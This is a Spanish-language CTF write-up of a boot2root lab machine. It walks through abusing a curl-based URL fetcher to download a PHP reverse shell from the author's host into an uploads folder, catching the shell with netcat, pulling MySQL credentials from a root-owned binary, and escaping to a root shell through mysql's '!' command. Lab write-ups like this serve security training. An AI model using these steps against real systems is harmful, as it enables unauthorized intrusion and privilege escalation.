Securi-Tay 2017 PentesLimited Boot2Root

08 May 2017

Kioptrix Level 3 Boot2Root Vulnhub

URL de la máquina: https://maze.pentest-challenge.co.uk/
Descripción:

Solución

En primer lugar, y como en todas las máquinas que estamos realizando, lo primero en realizar siempre es un escaneo de puertos de la máquina para comprobar que servicios están corriendo en ella.

_config.yml

Vemos que el unico puerto que está abierto es el 80, por lo que vamos directos al navegador a ver que nos encontramos.

_config.yml

Vemos que hay una caja en la cual te indica que puedes meter cualquier url que quieras probar.Trás una prueba rapida vemos que lo que hace es visitar la página que introduces, por lo que vamos a probar a ver que pasa si no introducimos ninguna URL.

_config.yml

Al no meter ninguna URL nos indica que se está utilizando el comando CURL para realizar las peticiones a las páginas.Lo primero que intentamos es un command injection, pero vemos que algunos caracteres están filtrados como pueden ser ; , & o .

_config.yml

Dado que no podemos realizar un command injection lo siguiente que intentamos es realizar una peticion a un servidor que este bajo nuestro dominio para ver si podemos redirigir la salida de la peticion y crear ficheros en el servidor, pero nos aparece un error de que no tenemos permisos para escribir en el directorio actual. Por lo que vamos a ver si existe otro directorio donde podamos escribir. Para ello lanzamos dirb con el diccionario common.txt y vemos que existe una carpeta que se llama uploads.

_config.yml

Vamos a ella a través del navegador y vemos que es donde se encuentra el fichero test.html que es el fichero de ejemplo que te aparece en el home al entrar a la página. Vamos a intentar descargar una reverse shell en el servidor para luego conectarnos a nuestra máquina.

Para ello vamos a http://pentestmonkey.net/tools/web-shells/php-reverse-shell y descargamos el fichero de shell inversa en php. Una vez descargado, configuramos el host y el puerto al que queremos que se conecte, en este caso la IP de mi máquina 192.168.1.37 y el puerto 4444. Ahora levantamos un apache en nuestra máquina y ponemos ese fichero en la raíz para poder hacerle la peticiones mediante el curl, cambiando la extension de php a txt para que cuando se realize la peticion no se intente hacer la conexion inversa.

El comando que introducimos para hacer la peticiones es el siguiente

http://192.168.1.37/shell.txt -o uploads/shell.php

Una vez que tenemos el fichero en el servidor, ponemos un netcat a escuchar en nuestra máquina en el puerto 4444 y visitamos el fichero

_config.yml

Ya tenemos conexión inversa a la máquina!! :D. Ahora vamos a ver si hay algún binario que nos interese en el servidor que tenga el bit suid activo.

_config.yml

Vemos que el binario de mysql tiene el bit suid activo, por lo que probamos a ver si hubiera la posibilidad de poder utilizarlo sin usuario ni contraseña, pero no es posible. Entonces vamos al home del usuario y vemos un fichero con nombre “mydbconnchecker” cuyo usuario y grupo es root, además de que los permisos del fichero no nos permite leerlo.Pero nadie dijo que no le pudieramos hacer un strings al fichero

_config.yml

En los strings del fichero vemos que hay una credenciales de acceso a mysql. Las probamos y podemos acceder.Una vez logueados, mysql te permite la ejecucion de comando introduciendo ! al principio, por lo que nosotros vamos a invocar una shell:

! /bin/sh

Y comprobamos que efectivamente se está ejecutando como usuario root.

_config.yml

Ahora solo queda entrar en el directorio /root y ver la flag.Al mostrar el contenido de flag.txt nos indica que debemos ejecutar el binario flag-gen introduciendo nuestro nombre como parámetro, ya que es un generador de flags. _config.yml

Introduciendo mi nombre como parámetro obtendría la siguiente flag.

_config.yml


← Kioptrix Level 3 (1.2) VulnHub Boot2Root Vulnhub HackFest Quaoar »